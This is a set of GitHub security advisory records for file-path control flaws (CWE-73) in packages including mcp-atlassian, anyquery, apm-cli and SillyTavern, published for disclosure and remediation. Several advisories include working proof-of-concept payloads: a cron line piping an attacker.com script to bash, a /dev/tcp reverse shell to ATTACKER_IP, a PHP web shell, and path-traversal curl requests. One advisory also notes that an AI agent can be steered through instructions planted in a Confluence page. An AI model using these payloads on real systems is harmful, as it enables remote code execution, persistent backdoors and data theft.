CWE-73

{
  "affected": [],
  "aliases": [
    "CVE-2026-35076"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-03T13:16:19Z",
    "severity": "HIGH"
  },
  "details": "The bac-scanresult method allows a remote attacker with user privileges to delete arbitrary local files due to insufficient validation of user-controlled input.",
  "id": "GHSA-xhgx-4832-crrx",
  "modified": "2026-06-03T15:30:41Z",
  "published": "2026-06-03T15:30:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35076"
    },
    {
      "type": "WEB",
      "url": "https://www.certvde.com/en/advisories/VDE-2026-039"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.8.11"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "apm-cli"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.8.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44641"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T21:41:08Z",
    "nvd_published_at": "2026-05-15T17:16:47Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nMicrosoft APM normalizes marketplace plugins by copying plugin components referenced in `plugin.json` into `.apm/`. The manifest fields `agents`, `skills`, `commands`, and `hooks` are attacker-controlled, but the implementation does not enforce that those paths remain inside the plugin directory. A malicious plugin can therefore use absolute paths or `../` traversal paths to copy arbitrary readable host files or directories from the installer\u0027s machine during `apm install`.\n\nIn the verified primary proof of concept, a malicious plugin sets `plugin.json.commands` to an external markdown file. A single `apm install` copies that outside file into `.apm/prompts/` and then auto-integrates it into `.github/prompts/secret.prompt.md` in the victim project. This is a local supply-chain trust-boundary violation with direct confidentiality and integrity impact.\n\nReviewed version and commit:\n\n- `apm-cli` version `0.8.11`\n- `main` commit `70b34faa16a5a783424698163deeb028854fd23a`\n\n### Details\nRoot cause:\n\n- `src/apm_cli/deps/plugin_parser.py:336-348`\n  - `_resolve_sources()` joins manifest-controlled `agents`, `skills`, `commands`, and directory-form `hooks` paths with `plugin_path`\n  - it checks only `exists()` and `is_symlink()`\n  - it does not resolve the candidate and verify containment inside the plugin root\n- `src/apm_cli/deps/plugin_parser.py:356-395`\n  - copies attacker-selected agent and skill files/directories into `.apm/`\n- `src/apm_cli/deps/plugin_parser.py:397-452`\n  - copies attacker-selected command and hook files/directories into `.apm/`\n- `src/apm_cli/deps/plugin_parser.py:436-442`\n  - string-form hook config paths are also copied without a root-containment check\n\nThere is already a safer precedent in the same module:\n\n- `src/apm_cli/deps/plugin_parser.py:195-210`\n  - `_read_mcp_file()` resolves the candidate path\n  - rejects paths escaping the plugin root\n  - rejects symlinks\n\nReachability:\n\n- Local install path:\n  - `src/apm_cli/commands/install.py:2007-2015`\n  - local marketplace plugins are normalized through `normalize_plugin_directory(...)`\n- Remote install path:\n  - `src/apm_cli/deps/github_downloader.py:2224-2230`\n  - downloaded packages are validated through `validate_apm_package(target_path)`\n  - `src/apm_cli/models/validation.py:164-172`, `224-226`, `304-324`\n  - marketplace plugins are normalized through the same vulnerable path after clone\n\nProject write-back path:\n\n- `src/apm_cli/integration/prompt_integrator.py:38-56`\n  - reads `.apm/prompts/*.prompt.md`\n- `src/apm_cli/integration/prompt_integrator.py:170-189`\n  - writes prompt files into `.github/prompts/`\n- `src/apm_cli/commands/install.py:2496-2514`\n  - auto-integrates package primitives after install\n\nThis means a malicious dependency can cause APM to read from outside the dependency itself and materialize host-local content into managed install output and, in the verified prompt case, directly into the victim project.\n\n### PoC\nThe attached zip contains a complete maintainer-ready proof-of-concept package, including runnable scripts, payload templates, captured output, and the exact validation environment.\n\nPrimary end-to-end `apm install` reproduction:\n\n1. Install APM from the reviewed source tree (`apm-cli 0.8.11`, commit `70b34faa16a5a783424698163deeb028854fd23a`) into a Python environment.\n2. Create an external file outside the malicious plugin directory, for example:\n\n```text\nvictim\\secret.md\n```\n\nwith content:\n\n```md\n# STOLEN VIA APM INSTALL\n```\n\n3. Create a malicious plugin with this minimal `plugin.json`:\n\n```json\n{\n  \"name\": \"evil-plugin\",\n  \"commands\": \"D:\\\\absolute\\\\path\\\\to\\\\victim\\\\secret.md\"\n}\n```\n\n4. Create a minimal `apm.yml` that references the malicious plugin.\n5. Run:\n\n```powershell\napm install\n```\n\n6. Observe that APM completes successfully and writes:\n\n```text\n.github/prompts/secret.prompt.md\n```\n\n7. Observe that the resulting prompt file contains the external host file content:\n\n```md\n# STOLEN VIA APM INSTALL\n```\n\nVerified console output from the included PoC:\n\n```text\n[\u003e] Installing dependencies from apm.yml...\n  [+] ./evil-plugin (local)\n  |-- 1 prompts integrated -\u003e .github/prompts/\n\n[*] Installed 1 APM dependency.\nPoC succeeded.\nIntegrated into project: ...\\.github\\prompts\\secret.prompt.md\nIntegrated content:\n# STOLEN VIA APM INSTALL\n```\n\nSecondary remote-parity reproduction:\n\n- The attached `reproduce-remote-parity.py` exercises `GitHubPackageDownloader.download_package(...)` after clone by replacing only the clone callback to keep the test self-contained.\n- It confirms the same unsafe normalization path copies an outside host file into:\n\n```text\n\u003cdownload-target\u003e/.apm/prompts/secret.prompt.md\n```\n\n### Impact\nThis is a path traversal / arbitrary local file copy issue in the package install flow.\n\nWho is impacted:\n\n- any user who runs `apm install` against a malicious or compromised plugin dependency\n- both direct and transitive dependency consumers\n\nWhat an attacker gains:\n\n- ability to copy arbitrary readable host files into `.apm/` during install\n- ability to copy arbitrary readable host directories recursively into `.apm/`\n- ability to trigger project write-back when the copied content lands in supported primitive locations such as `.apm/prompts/`\n\nPractical impact:\n\n- local notes, markdown, source material, or configuration files can be staged into repository-controlled paths\n- copied prompt files are automatically written into `.github/prompts/`, increasing the chance that sensitive or attacker-selected content is committed, synced, or consumed by other tooling\n- the issue breaks the expected trust boundary that a dependency install should copy only content belonging to the dependency itself\n\n### Mitigation\nRecommended fix:\n\n1. Resolve every manifest-controlled component path against `plugin_path.resolve()`.\n2. Reject absolute or relative paths that escape the plugin root.\n3. Apply the same containment check to `agents`, `skills`, `commands`, and both `hooks` code paths.\n4. Reject symlinks before copying.\n5. Add regression tests for:\n   - absolute file path in `commands`\n   - absolute directory path in `commands`\n   - `../` traversal in `agents`\n   - `../` traversal in `skills`\n   - `../` traversal in `hooks`\n   - confirmation that only in-root files remain accepted\n\n### Attachment\n[Microsoft_APM_Plugin_Path_Escape_Report_Final.zip](https://github.com/user-attachments/files/26829524/Microsoft_APM_Plugin_Path_Escape_Report_Final.zip)",
  "id": "GHSA-xhrw-5qxx-jpwr",
  "modified": "2026-05-15T23:51:29Z",
  "published": "2026-05-07T21:41:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/microsoft/apm/security/advisories/GHSA-xhrw-5qxx-jpwr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44641"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/microsoft/apm"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Microsoft APM CLI\u0027s plugin.json component paths escape plugin root and copy arbitrary host files during install"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mcp-atlassian"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.17.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27825"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-10T18:56:07Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\nThe `confluence_download_attachment` MCP tool accepts a `download_path` parameter that is written to without any directory boundary enforcement. An attacker who can call this tool and supply or access a Confluence attachment with malicious content can write arbitrary content to any path the server process has write access to. Because the attacker controls both the write destination and the written content (via an uploaded Confluence attachment), this constitutes for arbitrary code execution (for example, writing a valid cron entry to `/etc/cron.d/` achieves code execution within one scheduler cycle with no server restart required).\n\n\n### Details\nThe tool parameter is defined in `src/mcp_atlassian/servers/confluence.py:~1275` without any path restriction:\n\n  ```python\n  download_path: Annotated[\n      str,\n      Field(\n          description=(\n              \"Full path where the file should be saved. Can be absolute or relative. \"\n              \"Examples: \u0027./downloads/report.pdf\u0027, \u0027/tmp/image.png\u0027, \u0027C:\\\\\\\\temp\\\\\\\\file.docx\u0027. \"\n              \"Parent directory will be created if it doesn\u0027t exist.\"\n          )\n      ),\n  ],\n\n The implementation at src/mcp_atlassian/confluence/attachments.py:183\u2013200:\n\n  if not os.path.isabs(target_path):\n      target_path = os.path.abspath(target_path)  # normalizes path, no restriction\n\n  os.makedirs(os.path.dirname(target_path), exist_ok=True)  # creates any directory\n  with open(target_path, \"wb\") as f:                        # writes to any writable path\n      for chunk in response.iter_content(chunk_size=8192):\n          f.write(chunk)\n\n os.path.abspath() converts relative paths to absolute but performs no directory boundary check. No configurable base download directory is enforced. There is no validation between the tool parameter and the file write. The same issue exists in download_content_attachments via its target_dir parameter (src/mcp_atlassian/servers/confluence.py:~1389).\n\n\n### PoC\nPrerequisites: Confluence credentials with access to at least one page. To control the written file content, upload a malicious attachment to any Confluence page you have write access to.\n\nStep 1 \u2014 Prepare the payload. Create a file containing a valid cron entry and upload it as a Confluence attachment:\n\n  * * * * * root curl http://attacker.com/shell.sh | bash\n\nStep 2 \u2014 Call the tool with a sensitive write target:\n\n  {\n      \"jsonrpc\": \"2.0\",\n      \"method\": \"tools/call\",\n      \"params\": {\n          \"name\": \"confluence_download_attachment\",\n          \"arguments\": {\n              \"page_id\": \"\u003cpage id hosting the malicious attachment\u003e\",\n              \"attachment_id\": \"\u003cattachment id\u003e\",\n              \"download_path\": \"/etc/cron.d/mcp-backdoor\"\n          }\n      },\n      \"id\": 1\n  }\n\nThe attachment content is written verbatim to /etc/cron.d/mcp-backdoor. The system scheduler executes it within one minute with no further attacker action required.\n\nAlternative potential write targets demonstrating broader impact:\n  - /home/\u003cuser\u003e/.ssh/authorized_keys - persistent SSH backdoor\n  - \u003cvenv\u003e/lib/python3.x/site-packages/\u003cany_imported_module\u003e.py - code execution on next import\n  - ~/.bashrc - code execution on next user login\n\n### Impact\nAn attacker who can invoke MCP tools and upload (or access) a Confluence attachment with controlled content can achieve arbitrary code execution on the server host. The MCP HTTP transport endpoints carry no authentication by default, meaning any host that can reach the server\u0027s HTTP port can call tools using the server\u0027s own embedded Confluence credentials (global fallback). The default HOST=0.0.0.0 binding makes this reachable from the local network without any configuration change.\n\nIn enterprise deployments where Confluence write access is broadly granted, the effective attacker prerequisite reduces to network access to the MCP HTTP port. This is also reachable without direct network access: a malicious Confluence page can embed LLM instructions directing an AI agent to call confluence_download_attachment with attacker-specified parameters, achieving code execution through the agent as an unwitting intermediary.\n\nExample potential RCE paths:\n 1. Cron job injection - write a cron entry to /etc/cron.d/; executes within one scheduler cycle, no restart required\n 2. Python package hijack - overwrite any .py module in the application\u0027s virtual environment; executes on next import or server restart.\n 3. SSH authorized_keys - write an attacker-controlled public key; grants persistent interactive shell access.\n 4. Shell profile injection - write to ~/.bashrc or ~/.profile; executes on next user login.",
  "id": "GHSA-xjgw-4wvw-rgm4",
  "modified": "2026-03-10T18:56:07Z",
  "published": "2026-03-10T18:56:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-xjgw-4wvw-rgm4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sooperset/mcp-atlassian/commit/52b9b0997681e87244b20d58034deae89c91631e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sooperset/mcp-atlassian"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "MCP Atlassian has an arbitrary file write leading to arbitrary code execution via unconstrained download_path in confluence_download_attachment"
}

{
  "affected": [],
  "aliases": [
    "CVE-2020-36868"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-30T22:15:39Z",
    "severity": "HIGH"
  },
  "details": "Nagios XI versions prior to\u00a05.7.3\u00a0contain a privilege escalation vulnerability in the getprofile.sh helper script. The script performed profile retrieval and initialization routines using insecure file/command handling and insufficient validation of attacker-controlled inputs, and in some deployments executed with elevated privileges. A local attacker with low-level access could exploit these weaknesses to cause the script to execute arbitrary commands or modify privileged files, resulting in privilege escalation.",
  "id": "GHSA-xjhg-wrcc-8945",
  "modified": "2025-11-05T18:31:30Z",
  "published": "2025-10-31T00:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-36868"
    },
    {
      "type": "WEB",
      "url": "https://www.nagios.com/changelog/nagios-xi"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/nagios-xi-privilege-escalation-via-insecure-getprofile-script"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-26157"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-11T21:16:21Z",
    "severity": "HIGH"
  },
  "details": "A flaw was found in BusyBox. Incomplete path sanitization in its archive extraction utilities allows an attacker to craft malicious archives that when extracted, and under specific conditions, may write to files outside the intended directory. This can lead to arbitrary file overwrite, potentially enabling code execution through the modification of sensitive system files.",
  "id": "GHSA-xm63-5pjx-vrhp",
  "modified": "2026-06-30T03:35:34Z",
  "published": "2026-02-11T21:30:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26157"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:13831"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-26157"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2439039"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-253495.html"
    },
    {
      "type": "WEB",
      "url": "https://git.busybox.net/busybox/commit/archival?id=3fb6b31c716669e12f75a2accd31bb7685b1a1cb"
    },
    {
      "type": "WEB",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-26157.json"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 0.4.5"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/julien040/anyquery"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-50006"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-284",
      "CWE-434",
      "CWE-73",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-14T18:33:57Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\nAnyquery\u0027s `server` mode does not disable or restrict native SQLite disk manipulation commands. Unauthenticated attackers connecting to the MySQL-compatible server port can use the `ATTACH DATABASE` command to write arbitrary SQLite databases to any path on the victim\u0027s filesystem where the process has write permissions. This leads to Arbitrary File Write (AFW) which could lead to Remote Code Execution (RCE) depending on the environment (e.g., by dropping a PHP web shell if a web server is running, or overwriting system cronjobs if running as root).\n\n## Details\nWhen Anyquery is launched in **Server Mode** (`anyquery server`), it blindly proxies incoming SQL commands to the underlying SQLite engine. SQLite allows dynamic database mounting via the `ATTACH DATABASE` command, which creates a physical `.db` file on the filesystem if the file does not exist.\n\nAn attacker can connect to the open Anyquery port, attach a new database to a sensitive path (e.g., `/var/www/html/shell.php`, `/etc/cron.d/pwn` or `/root/.ssh/authorized_keys`), create a table, and insert a malicious payload. Although the file will contain a binary SQLite header, standard Linux services like `cron`, `sshd`, and web servers like `PHP` tolerate garbage data and will parse/execute the valid payload lines injected by the attacker.\n\n## PoC (Proof of Concept)\n1. Start the server on the victim machine:\n   ```bash\n   anyquery server --host 0.0.0.0 --port 8070\n   ```\n2. Connect from an attacker machine:\n   ```bash\n   mysql -u root -h \u003cVICTIM_IP\u003e -P 8070\n   ```\n3. Execute the payload to write a malicious cronjob for native RCE (Note: the Anyquery process must have write permissions to the target directory, such as `/etc/cron.d` or `/var/spool/cron/crontabs/`):\n   ```sql\n   ATTACH DATABASE \u0027/etc/cron.d/pwn\u0027 AS pwn;\n   CREATE TABLE pwn.task (cmd TEXT);\n   INSERT INTO pwn.task VALUES (\u0027* * * * * root /bin/bash -c \"bash -i \u003e\u0026 /dev/tcp/ATTACKER_IP/1337 0\u003e\u00261\"\u0027);\n   ```\n\n   *Alternatively, if a web server is running and the Anyquery process can write to the web root, you can drop a PHP shell:*\n   ```sql\n   ATTACH DATABASE \u0027/var/www/html/shell.php\u0027 AS pwn;\n   CREATE TABLE pwn.hacked (cmd TEXT);\n   INSERT INTO pwn.hacked VALUES (\u0027\u003c?php system($_GET[\"cmd\"]); ?\u003e\u0027);\n   ```\n\n   *If testing locally as a non-root user, you can verify the vulnerability by writing to `/tmp`:*\n   ```sql\n   ATTACH DATABASE \u0027/tmp/pwn.db\u0027 AS pwn;\n   CREATE TABLE pwn.test (cmd TEXT);\n   INSERT INTO pwn.test VALUES (\u0027Hello Anyquery AFW\u0027);\n   ```\nWithin 60 seconds, the system\u0027s cron daemon will ignore the SQLite header, parse the valid cron string, and execute the reverse shell payload with root privileges.\n\n## Impact\n- **Confidentiality:** None (from the write action itself, though combined with LFR it becomes High).\n- **Integrity:** High. Arbitrary files can be written or overwritten, which corrupts the filesystem.\n- **Availability:** High. Overwriting critical system files (e.g., configurations, databases) can lead to complete Denial of Service (DoS).\n- **CVSS Score:** 9.1 (Critical) - `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H`\n  - *Note: If the process is running with elevated privileges (e.g., root) or inside a web root directory, this escalates to Remote Code Execution (RCE) with a CVSS of 9.8 (Critical).*\n\n## Remediation\nDisable dangerous SQLite functions (`ATTACH DATABASE`, `DETACH DATABASE`, etc.) when running in Server Mode. Restrict the MySQL handler so that it only permits operations on the main database or in-memory virtual tables.",
  "id": "GHSA-xrcf-6jh3-ggvx",
  "modified": "2026-07-14T18:33:57Z",
  "published": "2026-07-14T18:33:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/julien040/anyquery/security/advisories/GHSA-xrcf-6jh3-ggvx"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/julien040/anyquery"
    },
    {
      "type": "WEB",
      "url": "https://github.com/julien040/anyquery/releases/tag/0.4.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Anyquery: Arbitrary File Write (AFW) which could lead to Remote Code Execution (RCE) via Unrestricted ATTACH DATABASE in Server Mode"
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-26684"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-610",
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-13T17:15:51Z",
    "severity": "MODERATE"
  },
  "details": "External control of file name or path in Microsoft Defender for Endpoint allows an authorized attacker to elevate privileges locally.",
  "id": "GHSA-xrjq-mmx8-72h6",
  "modified": "2025-05-13T18:30:53Z",
  "published": "2025-05-13T18:30:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-26684"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-26684"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-26282"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-03-05T20:16:01Z",
    "severity": "MODERATE"
  },
  "details": "IBM Watson CP4D Data Stores 4.6.0 through 4.6.3 could allow a user with physical access and specific knowledge of the system to modify files or data on the system.  IBM X-Force ID:  248415.",
  "id": "GHSA-xv72-qgpm-8gw4",
  "modified": "2024-03-05T21:30:25Z",
  "published": "2024-03-05T21:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-26282"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/248415"
    },
    {
      "type": "WEB",
      "url": "https://https://www.ibm.com/support/pages/node/6965452"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:P/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.16.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "sillytavern"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.17.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34522"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-01T21:36:40Z",
    "nvd_published_at": "2026-04-02T18:16:29Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nA path traversal vulnerability in `/api/chats/import` allows an authenticated attacker to write attacker-controlled files outside the intended chats directory by injecting traversal sequences into `character_name`.\n\n### Details\n`character_name` is used unsafely as part of the destination filename and then passed into `path.join(...)` without sanitization.\n\nEvidence:\n- Import handler entrypoint:  \n  \u003chttps://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L680-L686\u003e\n- Unsanitized `character_name` used in output filename:  \n  \u003chttps://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L719-L723\u003e\n- Same write pattern in JSONL import branch:  \n  \u003chttps://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L759-L766\u003e\n- Endpoint auth context (authenticated user access):  \n  \u003chttps://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/server-main.js#L239\u003e\n\nExample payload:\n- `character_name=../../../../tmp/st_poc`\n\nThis causes the final destination path to escape from `\u003cuser\u003e/chats/\u003cavatar\u003e/...` and write to an attacker-controlled location such as `/tmp/...` (or any writable path for the service account).\n\n### PoC\nPrerequisites:\n- Valid authenticated session cookie (`cookie.txt`)\n- Valid CSRF token (`$TOKEN`)\n\nPrepare payload:\n\n```bash\nprintf \u0027{\"user_name\":\"u\",\"chat_metadata\":{}}\\n{\"name\":\"u\",\"mes\":\"owned\"}\\n\u0027 \u003e/tmp/poc.jsonl\n```\n\nTrigger arbitrary write:\n\n```bash\ncurl -b cookie.txt -H \"x-csrf-token: $TOKEN\" \\\n  -F \"avatar=@/tmp/poc.jsonl\" \\\n  -F \"file_type=jsonl\" \\\n  -F \"avatar_url=a.png\" \\\n  -F \"character_name=../../../../tmp/st_poc\" \\\n  -F \"user_name=u\" \\\n  http://TARGET:8000/api/chats/import\n```\n\nObserved result:\n- A file is created outside chats directory, for example:  \n  `/tmp/st_poc - \u003ctimestamp\u003e imported.jsonl`\n\n### Impact\n- Integrity: attacker can create files in unintended filesystem locations.\n- Availability: can be used for disk abuse and disruptive file placement.\n- Can become more severe when chained with other local processing behaviors.\n\n### Resolution\n\nThe issue was addressed in version 1.17.0",
  "id": "GHSA-xvww-xhx6-22pf",
  "modified": "2026-04-06T17:24:54Z",
  "published": "2026-04-01T21:36:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-xvww-xhx6-22pf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34522"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/SillyTavern/SillyTavern"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SillyTavern/SillyTavern/releases/tag/1.17.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SillyTavern has a path traversal in `/api/chats/import` allows arbitrary file write outside intended chat directory"
}